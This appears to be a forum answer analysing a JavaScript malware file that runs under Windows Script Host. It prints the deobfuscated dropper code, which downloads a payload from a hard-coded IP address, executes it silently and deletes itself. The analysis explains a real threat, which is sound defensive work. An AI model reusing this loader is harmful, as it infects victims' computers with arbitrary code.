How can I know if there is a javascript virus?

It most certainly is a javascript virus. It uses JavaScript with ActiveX* and VBScript to download and execute a stage two payload that does something else. Although it is written in JavaScript, it is not executed in the browser. Instead, it is executed in the Windows Script Host when it is double-clicked. This is the deobfuscated and abridged version of the function sQl dib from the file:

// download and execute stage 2 payload

function stage1_payload() {

    // connect to server hosting stage 2 payload and download into memory

    var http_obj = new ActiveXObject("MSXML2.XMLHTTP");

    http_obj['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false);

    http_obj['send']();

    // evaluates true only if http connection succeeded

    if (http_obj['Status'] == 200) {

        // open activex objects for filesystem and file access

        var fs_obj = new ActiveXObject("Scripting.FileSystemObject");

        var file_obj = new ActiveXObject("ADODB.Stream");

        // create and open temporary file (as binary) in system temporary folder

        var temp_file = fs_obj['GetSpecialFolder'](2) + '' + fs_obj['GetTempName']();

        file_obj['Open']();

        file_obj['Type'] = 1;

        // save response body containing stage 2 payload to temporary file

        file_obj['Write'](http_obj['ResponseBody']);

        file_obj['Position'] = 0;

        file_obj['SaveToFile'](temp_file);

        file_obj['Close']();

        // execute temporary file using command prompt

        var shell_obj = new ActiveXObject("WScript.Shell");

        shell_obj['run']('cmd.exe /c ' + temp_file, 0);

    }

    // delete currently-executing script (the js file you received)

    var script_name = WScript['ScriptFullName'];

    fs_obj['deleteFile'](script_name);

}